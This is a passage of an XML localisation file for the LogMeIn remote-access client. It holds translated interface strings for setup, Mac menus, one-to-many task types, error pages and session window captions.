<it>Passa a un altro account o sottoscrizione</it>
<nl>Account of abonnement wisselen</nl>
<pt-br>Alternar conta ou assinatura</pt-br>
<hu>Fiók vagy előfizetés váltása</hu>
<ru>Переключение учетной записи или подписки</ru>
<ja>アカウントまたは利用期間の切り替え</ja>
<ko>계정 또는 가입 전환</ko>
<zh>切换帐户或订阅</zh>
</msg>
<msg name="SETUPALMOSTCOMPLETE">
<en>LogMeIn setup is almost complete</en>
<de>Einrichtung von LogMeIn beinahe abgeschlossen</de>
<es>El proceso de configuración de LogMeIn casi ha finalizado</es>
<fr>La configuration de LogMeIn est presque terminée</fr>
<it>L’impostazione di LogMeIn è quasi completata</it>
<nl>Installatie van LogMeIn is bijna voltooid</nl>
<pt-br>A configuração do LogMeIn está quase concluída</pt-br>
<hu>A LogMeIn beállítása már majdnem kész</hu>
<ru>Установка LogMeIn почти выполнена</ru>
<ja>もう少しで LogMeIn の設定が完了します</ja>
<ko>LogMeIn 설치가 거의 완료되었습니다.</ko>
<zh>LogMeIn 设置已基本完成</zh>
</msg>
<msg name="WARNING">
<en>Warning!</en>
<de>Achtung!</de>
<es>¡Advertencia!</es>
<fr>Avertissement !</fr>
<it>Attenzione!</it>
<nl>Waarschuwing!</nl>
<pt-br>Aviso!</pt-br>
<hu>Figyelem!</hu>
<ru>Предупреждение!</ru>
<ja>警告!</ja>
<ko>경고!</ko>
<zh>警告!</zh>
</msg>
<msg name="UNSAVEDCHANGES">
<en>You have unsaved changes.</en>
<de>Es liegen nicht gespeicherte Änderungen vor.</de>
<es>Hay cambios que no se han guardado.</es>
<fr>Vous avez des modifications non enregistrées.</fr>
<it>Sono presenti modifiche non salvate.</it>
<nl>U hebt niet-opgeslagen wijzigingen.</nl>
<pt-br>Há alterações não salvas.</pt-br>
<hu>Bizonyos módosításokat még nem mentett.</hu>
<ru>Имеются несохраненные изменения.</ru>
<ja>保存されていない変更があります。</ja>
<ko>저장하지 않은 변경 사항이 있습니다.</ko>
<zh>您有未保存的更改。</zh>
</msg>
<msg name="DISCARD">
<en>Discard</en>
<de>Verwerfen</de>
<es>Descartar</es>
<fr>Abandonner</fr>
<it>Elimina</it>
<nl>Negeren</nl>
<pt-br>Descartar</pt-br>
<hu>Elvetés</hu>
<ru>Отменить</ru>
<ja>削除</ja>
<ko>취소</ko>
<zh>放弃</zh>
</msg>
<msg name="NOTYETCOMPLETE">
<en>LogMeIn setup is not yet complete</en>
<de>Einrichtung von LogMeIn noch nicht abgeschlossen</de>
<es>El proceso de configuración de LogMeIn aún no ha finalizado</es>
<fr>La configuration de LogMeIn n'est pas encore terminée</fr>
<it>L’impostazione di LogMeIn non è ancora completata</it>
<nl>Installatie van LogMeIn is nog niet voltooid</nl>
<pt-br>A configuração do LogMeIn ainda não foi concluída</pt-br>
<hu>A LogMeIn beállítása még nem fejeződött be</hu>
<ru>Установка LogMeIn еще не выполнена</ru>
<ja>LogMeIn の設定はまだ完了していません</ja>
<ko>LogMeIn 설치가 아직 완료되지 않았습니다.</ko>
<zh>LogMeIn 设置尚未完成</zh>
</msg>
<msg name="NOTREADY">
<en>Your computer is not ready for remote access.</en>
<de>Ihr Computer ist nicht bereit für den Fernzugriff.</de>
<es>Su ordenador no está listo para acceder a él de forma remota.</es>
<fr>Votre ordinateur n'est pas prêt pour l'accès à distance.</fr>
<it>Il computer non è pronto per l’accesso remoto.</it>
<nl>Uw computer is nog niet klaar voor externe toegang.</nl>
<pt-br>Seu computador não está pronto para o acesso remoto.</pt-br>
<hu>A számítógépe még nem áll készen a távelérés használatára.</hu>
<ru>Компьютер не готов к удаленному доступу.</ru>
<ja>このコンピュータはまだリモート アクセスを利用できません。</ja>
<ko>컴퓨터에서 아직 원격 액세스를 사용할 수 없습니다.</ko>
<zh>您的计算机还未做好远程访问的准备。</zh>
</msg>
<msg name="BACKTOSETUP">
<en>Back to setup</en>
<de>Zurück zur Einrichtung</de>
<es>Volver a la configuración</es>
<fr>Retour à la configuration</fr>
<it>Torna all’impostazione</it>
<nl>Terug naar installatie</nl>
<pt-br>Voltar à configuração</pt-br>
<hu>Vissza a beállításhoz</hu>
<ru>Вернуться к установке</ru>
<ja>設定に戻る</ja>
<ko>설치로 돌아가기</ko>
<zh>返回设置</zh>
</msg>
<msg name="FINISHLATER">
<en>I'll finish setup later</en>
<de>Einrichtung später fertigstellen</de>
<es>Completaré la configuración más tarde</es>
<fr>Je terminerai la configuration plus tard</fr>
<it>Completerò l’impostazione più tardi</it>
<nl>Ik maak de installatie later af</nl>
<pt-br>Concluirei a instalação depois</pt-br>
<hu>Később fejezem be a beállítást</hu>
<ru>Завершить установку позже</ru>
<ja>後で設定を完了する</ja>
<ko>나중에 설치 완료하기</ko>
<zh>我稍后将完成设置</zh>
</msg>
</cat>
</cat>
<cat name="MACMENUITEMS">
<msg os="macosx" name="ABOUT">
<en>About %s</en>
<de>Über %s</de>
<es>Acerca de %s</es>
<fr>À propos de %s</fr>
<it>Informazioni su %s</it>
<ru>О программе %s</ru>
<ja>%s について</ja>
<zh>关于 %s</zh>
<ko>%s 정보</ko>
<en-gb>About %s</en-gb>
<hu>Névjegy: %s</hu>
<pt-br>Sobre %s</pt-br>
<nl>Info over %s</nl>
</msg>
<msg os="macosx" name="PREFERENCES">
<en>Preferences</en>
<de>Einstellungen</de>
<es>Preferencias</es>
<fr>Préférences</fr>
<it>Preferenze</it>
<ru>Параметры</ru>
<ja>環境設定</ja>
<zh>参数选择</zh>
<ko>기본 설정</ko>
<en-gb>Preferences</en-gb>
<hu>Beállítások</hu>
<pt-br>Preferências</pt-br>
<nl>Voorkeursinstellingen</nl>
</msg>
<msg os="macosx" name="SERVICES">
<en>Services</en>
<de>Dienste</de>
<es>Servicios</es>
<fr>Services</fr>
<it>Servizi</it>
<ru>Службы</ru>
<ja>サービス</ja>
<zh>服务</zh>
<ko>서비스</ko>
<en-gb>Services</en-gb>
<hu>Szolgáltatások</hu>
<pt-br>Serviços</pt-br>
<nl>Services</nl>
</msg>
<msg os="macosx" name="HIDE_LMI">
<en>Hide %s</en>
<de>%s ausblenden</de>
<es>Ocultar %s</es>
<fr>Masquer %s</fr>
<it>Nascondi %s</it>
<ru>Скрыть %s</ru>
<ja>%s を隠す</ja>
<zh>隐藏 %s</zh>
<ko>%s 숨기기</ko>
<en-gb>Hide %s</en-gb>
<hu>%s elrejtése</hu>
<pt-br>Ocultar %s</pt-br>
<nl>Verbergen %s</nl>
</msg>
<msg os="macosx" name="HIDE_OTHERS">
<en>Hide Others</en>
<de>Andere ausblenden</de>
<es>Ocultar otros</es>
<fr>Masquer les autres</fr>
<it>Nascondi altri</it>
<ru>Скрыть другие</ru>
<ja>ほかを隠す</ja>
<zh>隐藏其他</zh>
<ko>다른 사용자 숨김</ko>
<en-gb>Hide Others</en-gb>
<hu>Egyéb elrejtése</hu>
<pt-br>Ocultar Outros</pt-br>
<nl>Anderen verbergen</nl>
</msg>
<msg os="macosx" name="APPL_HELP">
<en>Application Help</en>
<de>Hilfe zur Anwendung</de>
<es>Ayuda de aplicación</es>
<fr>Aide sur l'application</fr>
<it>Guida all'applicazione</it>
<ru>Справка по приложению</ru>
<ja>アプリケーションのヘルプ</ja>
<zh>应用程序帮助</zh>
<ko>응용 프로그램 도움말</ko>
<en-gb>Application Help</en-gb>
<hu>Alkalmazássúgó</hu>
<pt-br>Ajuda do aplicativo</pt-br>
<nl>Hulp bij de toepassing</nl>
</msg>
<msg os="macosx" name="SHOWALL">
<en>Show All</en>
<fr>Afficher tout</fr>
<es>Mostrar todo</es>
<de>Alle anzeigen</de>
<it>Mostra tutto</it>
<nl>Alles weergeven</nl>
<pt-br>Mostrar tudo</pt-br>
<zh>显示全部</zh>
<ru>Показать все</ru>
<ja>すべて表示</ja>
<ko>모두 보기</ko>
<hu>Az összes megjelenítése</hu>
<en-gb>Show All</en-gb>
</msg>
<msg os="macosx" name="MINIMIZE">
<en>Minimize</en>
<fr>Réduire</fr>
<es>Minimizar</es>
<de>Minimieren</de>
<it>Riduci a icona</it>
<nl>Minimaliseren</nl>
<pt-br>Minimizar</pt-br>
<zh>最小化</zh>
<ru>Свернуть</ru>
<ja>最小化</ja>
<ko>윈도우 축소</ko>
<hu>Kis méret</hu>
<en-gb>Minimize</en-gb>
</msg>
<msg os="macosx" name="ZOOM">
<en>Zoom</en>
<fr>Zoom</fr>
<es>Zoom</es>
<de>Zoom</de>
<it>Zoom</it>
<nl>In- en uitzoomen</nl>
<pt-br>Zoom</pt-br>
<zh>放大</zh>
<ru>Масштабировать</ru>
<ja>ズーム</ja>
<ko>확대/축소</ko>
<hu>Nagyítás/Kicsinyítés</hu>
<en-gb>Zoom</en-gb>
</msg>
<msg os="macosx" name="CLOSEWINDOW">
<en>Close Window</en>
<de>Fenster schließen</de>
<es>Cerrar ventana</es>
<fr>Fermer la Fenêtre</fr>
<it>Chiudi finestra</it>
<ru>Закрыть окно</ru>
<ja>ウィンドウを閉じる</ja>
<zh>关闭窗口</zh>
<ko>창 닫기</ko>
<en-gb>Close Window</en-gb>
<hu>Ablak bezárása</hu>
<pt-br>Fechar janela</pt-br>
<nl>Venster sluiten</nl>
</msg>
<msg os="macosx" name="BRINGALLTOFRONT">
<en>Bring All to Front</en>
<fr>Tout ramener au premier plan</fr>
<es>Traer todo al frente</es>
<de>Alles in den Vordergrund</de>
<it>Porta tutto in primo piano</it>
<nl>Alles op de voorgrond</nl>
<pt-br>Trazer tudo para a frente</pt-br>
<zh>全部前置</zh>
<ru>Переместить все вперед</ru>
<ja>すべて前面に表示</ja>
<ko>모두 앞으로 가져오기</ko>
<hu>Összes előtérbe hozása</hu>
<en-gb>Bring All to Front</en-gb>
</msg>
</cat>
<cat name="ONETOMANY">
<msg name="TASKNAME">
<en>Task Name</en>
<de>Name der Aufgabe</de>
<es>Nombre de la tarea</es>
<fr>Nom de la tâche</fr>
<it>Nome attività</it>
<ru>Имя задачи</ru>
<ja>タスクの名前</ja>
<zh>任务名</zh>
<ko>작업 이름</ko>
<en-gb>Task Name</en-gb>
<hu>Feladat neve</hu>
<pt-br>Nome da tarefa</pt-br>
<nl>Taaknaam</nl>
</msg>
<msg name="TYPE">
<en>Type</en>
<de>Typ</de>
<es>Tipo</es>
<fr>Type</fr>
<it>Tipo</it>
<ru>Тип</ru>
<ja>種類</ja>
<zh>类型</zh>
<ko>유형</ko>
<en-gb>Type</en-gb>
<hu>Típus</hu>
<pt-br>Tipo</pt-br>
<nl>Type</nl>
</msg>
<msg name="HOSTNAME">
<en>Host Name</en>
<de>Host-Name</de>
<es>Nombre del host</es>
<fr>Nom de l'hôte</fr>
<it>Nome host</it>
<ru>Имя хоста</ru>
<ja>ホスト名</ja>
<zh>主机名</zh>
<ko>호스트 이름</ko>
<en-gb>Host Name</en-gb>
<hu>Gazdagép neve</hu>
<pt-br>Nome do host</pt-br>
<nl>Hostnaam</nl>
</msg>
<msg name="PLANNAME">
<en>Plan Name</en>
<de>Name des Plans</de>
<es>Nombre del plan</es>
<fr>Nom du plan</fr>
<it>Nome piano</it>
<ru>Имя плана</ru>
<ja>プラン名</ja>
<zh>计划名</zh>
<ko>계획 이름</ko>
<en-gb>Plan Name</en-gb>
<hu>Terv neve</hu>
<pt-br>Nome do plano</pt-br>
<nl>Schemanaam</nl>
</msg>
<msg name="STARTED">
<en>Started</en>
<de>Gestartet</de>
<es>Inicio:</es>
<fr>Démarré</fr>
<it>Iniziato</it>
<ru>Запущен</ru>
<ja>開始</ja>
<zh>开始时间</zh>
<ko>시작 시간</ko>
<en-gb>Started</en-gb>
<hu>Kezdés</hu>
<pt-br>Iniciado</pt-br>
<nl>Gestart</nl>
</msg>
<msg name="ENDED">
<en>Ended</en>
<de>Beendet</de>
<es>Fin:</es>
<fr>Terminé</fr>
<it>Terminato</it>
<ru>Завершен</ru>
<ja>終了</ja>
<zh>结束时间</zh>
<ko>종료 시간</ko>
<en-gb>Ended</en-gb>
<hu>Befejezés</hu>
<pt-br>Finalizado</pt-br>
<nl>Geëindigd</nl>
</msg>
<msg name="INSTALL_UPDATE">
<en>Install update</en>
<de>Update installieren</de>
<es>Instalar actualización</es>
<fr>Installer une mise à jour</fr>
<it>Installazione aggiornamento</it>
<ru>Установка обновления</ru>
<ja>更新のインストール</ja>
<zh>安装更新</zh>
<ko>업데이트 설치</ko>
<en-gb>Install update</en-gb>
<hu>Frissítés telepítése</hu>
<pt-br>Instalar atualização</pt-br>
<nl>Update installeren</nl>
</msg>
<msg name="CUSTOM">
<en>Custom</en>
<de>Benutzerdefiniert</de>
<es>Personalizar</es>
<fr>Personnalisé</fr>
<it>Personalizzato</it>
<ru>Особый тип</ru>
<ja>カスタム</ja>
<zh>自定义</zh>
<ko>사용자 정의</ko>
<en-gb>Custom</en-gb>
<hu>Egyéni</hu>
<pt-br>Personalizar</pt-br>
<nl>Aangepast</nl>
</msg>
<msg name="RUNBATCH">
<en>Run batch or executable</en>
<de>Batch- oder ausführbare Datei ausführen</de>
<es>Ejecutar lote o ejecutable</es>
<fr>Exécuter un fichier batch ou exécutable</fr>
<it>Run batch or executable</it>
<ru>Запуск командного или исполняемого файла</ru>
<ja>バッチまたは実行可能ファイルの実行</ja>
<zh>运行批处理或可执行程序文件</zh>
<ko>배치 또는 실행 파일 실행</ko>
<en-gb>Run batch or executable</en-gb>
<hu>Kötegfájl vagy végrehajtható (exe) fájl futtatása</hu>
<pt-br>Executar lote ou executável</pt-br>
<nl>Batch- of uitvoerbaar bestand uitvoeren</nl>
</msg>
<msg name="REMOTECMD">
<en>Remote command</en>
<de>Remotebefehl ausführen</de>
<es>Comando remoto</es>
<fr>Commande à distance</fr>
<it>Comando remoto</it>
<ru>Удаленная команда</ru>
<ja>リモート コマンド</ja>
<zh>远程命令</zh>
<ko>원격 명령</ko>
<en-gb>Remote command</en-gb>
<hu>Távoli parancs</hu>
<pt-br>Comando remoto</pt-br>
<nl>Externe opdracht</nl>
</msg>
<msg name="REGISTRY">
<en>Registry update</en>
<de>Registrierung aktualisieren</de>
<es>Actualización de registro</es>
<fr>Mise à jour du registre</fr>
<it>Aggiornamento registro di sistema</it>
<ru>Обновление реестра</ru>
<ja>レジストリの更新</ja>
<zh>注册表更新</zh>
<ko>레지스트리 업데이트</ko>
<en-gb>Registry update</en-gb>
<hu>Rendszerleíró adatbázis frissítése</hu>
<pt-br>Registrar atualização</pt-br>
<nl>Registerinstellingen bijwerken</nl>
</msg>
<msg name="RUNEXECUTABLE">
<en>Run batch or executable</en>
<de>Batch- oder ausführbare Datei ausführen</de>
<es>Ejecutar lote o ejecutable</es>
<fr>Exécuter un fichier batch ou exécutable</fr>
<it>Esecuzione file batch o eseguibile</it>
<ru>Запуск командного или исполняемого файла</ru>
<ja>バッチまたは実行可能ファイルの実行</ja>
<zh>运行批处理或可执行程序文件</zh>
<ko>배치 또는 실행 파일 실행</ko>
<en-gb>Run batch or executable</en-gb>
<hu>Kötegfájl vagy végrehajtható (exe) fájl futtatása</hu>
<pt-br>Executar lote ou executável</pt-br>
<nl>Batch- of uitvoerbaar bestand uitvoeren</nl>
</msg>
<msg name="DISTRIBUTE">
<en>Distribute Files</en>
<de>Dateien verteilen</de>
<es>Distribuir archivos</es>
<fr>Distribuer des fichiers</fr>
<it>Distribuzione file</it>
<ru>Распространение файлов</ru>
<ja>ファイルの配布</ja>
<zh>分发文件</zh>
<ko>파일 배포</ko>
<en-gb>Distribute Files</en-gb>
<hu>Fájlok elosztása</hu>
<pt-br>Distribuir arquivos</pt-br>
<nl>Bestanden distribueren</nl>
</msg>
<msg name="MAC_CUSTOM">
<en>Custom (Mac)</en>
<de>Benutzerdefiniert (Mac)</de>
<es>Personalizar (Mac)</es>
<fr>Personnalisé (Mac)</fr>
<it>Personalizzato (Mac)</it>
<ru>Особый тип (Mac)</ru>
<ja>カスタム (Mac)</ja>
<zh>自定义 (Mac)</zh>
<ko>사용자 정의 (Mac)</ko>
<en-gb>Custom (Mac)</en-gb>
<hu>Egyéni (Mac)</hu>
<pt-br>Personalizar (Mac)</pt-br>
<nl>Aangepast (Mac)</nl>
</msg>
<msg name="DMG_INSTALL">
<en>DMG install</en>
<de>DMG-Installation</de>
<es>Instalación desde DMG</es>
<fr>Installation DMG</fr>
<it>Installazione DMG</it>
<ru>Установка DMG</ru>
<ja>DMG インストール</ja>
<zh>DMG 安装</zh>
<ko>DMG 설치</ko>
<en-gb>DMG install</en-gb>
<hu>Telepítés DMG-fájlból</hu>
<pt-br>Instalação DMG</pt-br>
<nl>DMG installeren</nl>
</msg>
<msg name="UNKNOWN">
<en>Unknown type</en>
<de>Unbekannter Typ</de>
<es>Tipo desconocido</es>
<fr>Type inconnu</fr>
<it>Tipo sconosciuto</it>
<ru>Неизвестный тип</ru>
<ja>不明な種類</ja>
<zh>未知类型</zh>
<ko>알 수 없는 유형</ko>
<en-gb>Unknown type</en-gb>
<hu>Ismeretlen típus</hu>
<pt-br>Tipo desconhecido</pt-br>
<nl>Onbekend type</nl>
</msg>
<msg name="SECONDS">
<en>seconds</en>
<de>Sekunden</de>
<es>segundos</es>
<fr>secondes</fr>
<it>secondi</it>
<ru>сек.</ru>
<ja>秒</ja>
<zh>秒</zh>
<ko>초</ko>
<en-gb>seconds</en-gb>
<hu>másodperc</hu>
<pt-br>segundos</pt-br>
<nl>seconden</nl>
</msg>
</cat>
<msg name="ACTIVATE.FF4.SESSION.WINDOW" os="macosx">
<en>Click to bring session to front.</en>
<es>Haga clic para traer la sesión al frente.</es>
<de>Klicken, um die Sitzung in den Vordergrund zu bringen.</de>
<fr>Cliquer pour placer la session au premier-plan.</fr>
<it>Fare clic per portare la sessione in primo piano.</it>
<nl>Klik om sessie naar voorgrond te brengen.</nl>
<pt-br>Clique para trazer a sessão para a frente.</pt-br>
<en-gb>Click to bring session to front.</en-gb>
<hu>Ide kattintva előtérbe hozhatja a munkamenetet.</hu>
<ru>Нажмите для переноса сеанса на передний план.</ru>
<ja>クリックするとセッションが前面に移動します。</ja>
<ko>세션을 맨 앞으로 가져오려면 클릭하십시오.</ko>
<zh>单击以激活会话</zh>
</msg>
<!-- CLS Error Page -->
<cat name="CLS_ERROR_PAGE">
<msg name="COULDNOTLOADPAGE">
<en>Could not load page</en>
<de>Seite konnte nicht geladen werden</de>
<es>No se pudo cargar la página</es>
<fr>Impossible de charger la page</fr>
<it>Impossibile caricare la pagina</it>
<nl>Kan pagina niet laden</nl>
<pt-br>Não foi possível carregar página</pt-br>
<hu>Nem sikerült betölteni az oldalt</hu>
<ru>Не удалось загрузить страницу</ru>
<ja>読み込みエラーのページ</ja>
<ko>페이지를 로드할 수 없습니다.</ko>
<zh>无法加载页面</zh>
</msg>
<msg name="LOGINFAILED">
<en>Login failed</en>
<de>Anmeldung fehlgeschlagen</de>
<es>Error de inicio de sesión</es>
<fr>Échec de la connexion</fr>
<it>Accesso non riuscito</it>
<nl>Aanmelden mislukt</nl>
<pt-br>Falha no login</pt-br>
<hu>A bejelentkezés sikertelen</hu>
<ru>Сбой входа</ru>
<ja>ログイン失敗</ja>
<ko>로그인 실패</ko>
<zh>登录失败</zh>
</msg>
<msg name="CONTACTSUPPORT">
<en>An error occurred. Please contact support.</en>
<de>Es ist ein Fehler aufgetreten. Wenden Sie sich bitte an den Support.</de>
<es>Se ha producido un error. Póngase en contacto con el servicio de asistencia técnica.</es>
<fr>Une erreur est survenue. Veuillez contacter l'assistance.</fr>
<it>Si è verificato un errore. Contatta il Supporto.</it>
<nl>Er is een fout opgetreden. Neem contact op met Support.</nl>
<pt-br>Ocorreu um erro. Entre em contato com o suporte.</pt-br>
<hu>Hiba történt. Kérjük, forduljon az ügyfélszolgálathoz.</hu>
<ru>Произошла ошибка. Обратитесь в службу поддержки.</ru>
<ja>エラーが発生しました。サポートへお問い合わせください。</ja>
<ko>오류가 발생했습니다. 지원팀에 문의하십시오.</ko>
<zh>出现错误。请联系客户支持。</zh>
</msg>
<msg name="CONTACTSUPPORTWITHTICKET">
<en>An error occurred on the server. Please contact support. Error ticket number: %s</en>
<de>Auf dem Server ist ein Fehler aufgetreten. Wenden Sie sich bitte an den Support. Fehlerticketnummer: %s</de>
<es>Se ha producido un error en el servidor. Póngase en contacto con el servicio de asistencia técnica. Número de parte de error: %s</es>
<fr>Une erreur est survenue sur le serveur. Veuillez contacter l'assistance. Numéro de demande : %s</fr>
<it>Si è verificato un errore sul server. Contatta il Supporto. N. richiesta di supporto: %s</it>
<nl>Er is een fout opgetreden op de server. Neem contact op met Support. Ticketnummer fout: %s</nl>
<pt-br>Ocorreu um erro no servidor. Entre em contato com o suporte. Número do tíquete: %s</pt-br>
<hu>Hiba történt a kiszolgálón. Kérjük, forduljon az ügyfélszolgálathoz. Hibajegy száma: %s</hu>
<ru>Произошла ошибка на сервере. Обратитесь в службу поддержки. Номер заявки об ошибке: %s</ru>
<ja>サーバーでエラーが発生しました。サポートへお問い合わせください。エラー チケット番号 : %s</ja>
<ko>서버에서 오류가 발생했습니다. 지원팀에 문의하십시오. 오류 티켓 번호: %s</ko>
<zh>服务器出现错误。请联系客户支持。错误票据编号: %s</zh>
</msg>
<msg name="CHECKPROXYSETTINGS">
<en>Please check your proxy settings and try again.</en>
<de>Bitte überprüfen Sie Ihre Proxy-Einstellungen und versuchen Sie es erneut.</de>
<es>Compruebe la configuración del proxy e inténtelo de nuevo.</es>
<fr>Vérifiez vos réglages de proxy et réessayez.</fr>
<it>Verifica le impostazioni del proxy e riprova.</it>
<nl>Controleer uw proxy-instellingen en probeer het nogmaals.</nl>
<pt-br>Verifique suas configurações de proxy e tente novamente.</pt-br>
<hu>Ellenőrizze a proxybeállításait, és próbálkozzon újra.</hu>
<ru>Проверьте настройки прокси-сервера и повторите попытку.</ru>
<ja>プロキシの設定を確認の上、再試行してください。</ja>
<ko>프록시 설정을 확인한 후 다시 시도하십시오.</ko>
<zh>请检查您的代理设置并重试。</zh>
</msg>
<msg name="CERTIFICATEERROR">
<en>Cannot connect to  LogMeIn servers. Confirm that your computer is set to the correct date.</en>
<de>Keine Verbindung zu den LogMeIn-Servern möglich. Vergewissern Sie sich, dass Ihr Computer auf das korrekte Datum eingestellt ist.</de>
<es>No se puede conectar con los servidores de LogMeIn. Asegúrese de que la fecha establecida en el ordenador sea correcta.</es>
<fr>Connexion impossible aux serveurs LogMeIn. Vérifiez que votre ordinateur est réglé sur la bonne date.</fr>
<it>Impossibile connettersi ai server LogMeIn. Verifica che la data impostata nel computer sia corretta.</it>
<nl>Kan geen verbinding maken met de LogMeIn-servers. Controleer of uw computer op de juiste datum ingesteld is.</nl>
<pt-br>Não é possível conectar-se aos servidores LogMeIn. Confirme se seu computador está definido com a data correta.</pt-br>
<hu>Nem sikerült kapcsolódni a LogMeIn kiszolgálókhoz. Kérjük, ellenőrizze, hogy a számítógépen a helyes dátum van-e beállítva.</hu>
<ru>Не удается подключиться к серверам LogMeIn. Удостоверьтесь, что на вашем устройстве установлена соответствующая дата.</ru>
<ja>LogMeIn サーバーに接続できません。コンピュータに正しい日付が設定されていることを確認してください。</ja>
<ko>LogMeIn 서버에 연결할 수 없습니다. 컴퓨터가 올바른 날짜로 설정되었는지 확인하십시오.</ko>
<zh>无法连接 LogMeIn 服务器。请确认计算机的日期设置正确无误。</zh>
</msg>
<msg name="CHECKINTERNETCONNECTION">
<en>Sorry, LogMeIn requires an Internet connection. Please check your network.\n\nYou can complete LogMeIn setup when your computer has gone online again.</en>
<de>LogMeIn erfordert leider eine Internetverbindung. Bitte überprüfen Sie Ihr Netzwerk.\n\nSie können die Einrichtung von LogMeIn abschließen, wenn Ihr Computer wieder über eine Online-Verbindung verfügt.</de>
<es>Lo sentimos, LogMeIn requiere conexión a Internet. Compruebe su red.\n\nCuando el ordenador esté conectado de nuevo podrá completar la configuración de LogMeIn.</es>
<fr>Désolé, LogMeIn nécessite une connexion Internet. Veuillez vérifier votre configuration réseau.\n\nVous pourrez terminer la configuration de LogMeIn lorsque votre ordinateur sera à nouveau en ligne.</fr>
<it>Siamo spiacenti!, LogMeIn richiede una connessione a Internet. Controlla la rete.\n\nL’impostazione di LogMeIn potrà essere completata solo quando il computer tornerà online.</it>
<nl>Sorry, LogMeIn heeft een internetverbinding nodig. Controleer uw netwerk.\n\nU kunt de installatie van LogMeIn voltooien als uw computer weer verbinding heeft met internet.</nl>
<pt-br>Desculpe, o LogMeIn exige conexão com a Internet. Verifique a rede.\n\nVocê pode concluir a configuração do LogMeIn quando o computador estiver online novamente.</pt-br>
<hu>Sajnos a LogMeIn használatához internetkapcsolatra van szükség. Kérjük, ellenőrizze a hálózatot.\n\nBefejezheti a LogMeIn beállítását, ha a számítógép ismét csatlakozik a hálózathoz.</hu>
<ru>Извините, LogMeIn требуется подключение к Интернету. Проверьте состояние сети.\n\nВы можете выполнить установку LogMeIn при следующем подключении компьютера к Интернету.</ru>
<ja>LogMeIn を使用するにはインターネットへ接続する必要があります。ネットワークをご確認ください。\n\nコンピュータが再度オンラインになれば、LogMeIn の設定を完了できます。</ja>
<ko>죄송합니다. LogMeIn을 이용하려면 인터넷에 연결되어야 합니다. 네트워크를 확인하십시오.\n\n컴퓨터가 다시 인터넷에 연결되면 LogMeIn 설치를 완료할 수 있습니다.</ko>
<zh>抱歉,LogMeIn 需要 Internet 连接。请查看您的网络。\n\n您可以在计算机再次在线时完成 LogMeIn 设置。</zh>
</msg>
<msg name="CONNECTIONFAILED">
<en>Connection failed</en>
<de>Verbindungsfehler</de>
<es>Error de conexión</es>
<fr>Échec de la connexion</fr>
<it>Connessione non riuscita</it>
<nl>Verbinding mislukt</nl>
<pt-br>Falha na conexão</pt-br>
<hu>A kapcsolódás sikertelen</hu>
<ru>Сбой подключения</ru>
<ja>接続に失敗しました</ja>
<ko>연결 실패</ko>
<zh>连接失败</zh>
</msg>
<msg name="COMPUTEROFFLINE">
<en>Your computer is offline</en>
<de>Ihr Computer ist offline.</de>
<es>El ordenador está desconectado</es>
<fr>Votre ordinateur est hors ligne.</fr>
<it>Il computer è offline</it>
<nl>Uw computer is offline</nl>
<pt-br>Seu computador está offline.</pt-br>
<hu>A számítógép offline üzemmódban van</hu>
<ru>Компьютер не подключен к Интернету</ru>
<ja>コンピュータはオフラインです</ja>
<ko>컴퓨터가 오프라인 상태입니다.</ko>
<zh>您的计算机脱机</zh>
</msg>
<msg name="ERRORTICKETTEXT">
<en>Error ticket:&lt;%s&gt;</en>
<de>Fehlerticket:&lt;%s&gt;</de>
<es>Parte de error:&lt;%s&gt;</es>
<fr>Numéro de demande : &lt;%s&gt;</fr>
<it>Richiesta di supporto:&lt;%s&gt;</it>
<nl>Foutticket: &lt;%s&gt;</nl>
<pt-br>Tíquete de erro:&lt;%s&gt;</pt-br>
<hu>Hibajegy:&lt;%s&gt;</hu>
<ru>Заявка об ошибке: &lt;%s&gt;</ru>
<ja>エラー チケット番号 : &lt;%s&gt;</ja>
<ko>오류 티켓: &lt;%s&gt;</ko>
<zh>错误票据: &lt;%s&gt;</zh>
</msg>
</cat>

<!-- LogMeIn Client App -->
<cat name="SESSION_WND">
<msg name="FM_CAP">
<en>%s - File Manager</en>
<en-gb>%s - File Manager</en-gb>
<de>%s - Dateimanager</de>
<it>%s - Gestione file</it>
<fr>%s - Transfert de fichiers</fr>
<ru>%s - Диспетчер файлов</ru>
<ja>%s - ファイル管理</ja>
<zh>%s - 文件管理器</zh>
<ko>%s - 파일 관리자</ko>
<es>%s: Gestor de archivos</es>
<hu>%s - Fájlkezelő</hu>
<pt-br>%s - Gerenciador de arquivos</pt-br>
<nl>%s - Ga rechtstreeks naar Bestandsoverdracht &amp; synchronisatie</nl>
</msg>
<msg name="RC_CAP">
<en>%s - Remote Control</en>
<en-gb>%s - Remote Control</en-gb>
<de>%s - Fernsteuerung</de>
<it>%s - Controllo remoto</it>
<fr>%s - Contrôle à Distance</fr>
<ru>%s - Удаленное управление</ru>
<ja>%s - リモート制御</ja>
<zh>%s - 远程控制</zh>
<ko>%s - 원격 제어</ko>
<es>%s: Control Remoto</es>
<hu>%s - Távvezérlő</hu>
<pt-br>%s - Controle remoto</pt-br>
<nl>%s - Besturing op afstand</nl>
</msg>
<msg name="RC_CAP_MM">
<en>$1 – Monitor $2</en>
<en-gb>$1 – Monitor $2</en-gb>
<de>$1 – Monitor $2</de>
<it>$1 – Monitor $2</it>
<fr>$1 – Moniteur $2</fr>
<ru>$1 – монитор $2</ru>
<ja>$1 – モニタ $2</ja>
<zh>$1 – 显示器 $2</zh>
<ko>$1 – 모니터 $2</ko>
<es>$1: monitor $2</es>
<hu>$1 – $2. monitor</hu>
<pt-br>$1 – Monitor $2</pt-br>
<nl>$1 – Beeldscherm $2</nl>
</msg>
<msg name="RC_CAP_AM">
<en>$1 – All Monitors</en>
<en-gb>$1 – All Monitors</en-gb>
<de>$1 – Alle Monitore</de>
<it>$1 – Tutti i monitor</it>
<fr>$1 – Tous les moniteurs</fr>
<ru>$1 – все мониторы</ru>
<ja>$1 – すべてのモニタ</ja>
<zh>$1 – 所有显示器</zh>
<ko>$1 – 모든 모니터</ko>
<es>$1: todos los monitores</es>
<hu>$1 – Összes monitor</hu>
<pt-br>$1 – Todos os monitores</pt-br>
<nl>$1 – Alle beeldschermen</nl>
</msg>
<msg name="TELNET_CAP">
<en>%s - Telnet</en>
<en-gb>%s - Telnet</en-gb>
<de>%s – Telnet</de>
<it>%s - Telnet</it>
<fr>%s - Telnet</fr>
<ru>%s — Telnet</ru>
<ja>%s - Telnet</ja>
<zh>%s - Telnet</zh>
<ko>%s - 텔넷</ko>
<es>%s - Telnet</es>
<hu>%s – Telnet</hu>
<pt-br>%s - Telnet</pt-br>
<nl>%s - Telnet</nl>
</msg>
<msg name="CHAT_CAP">
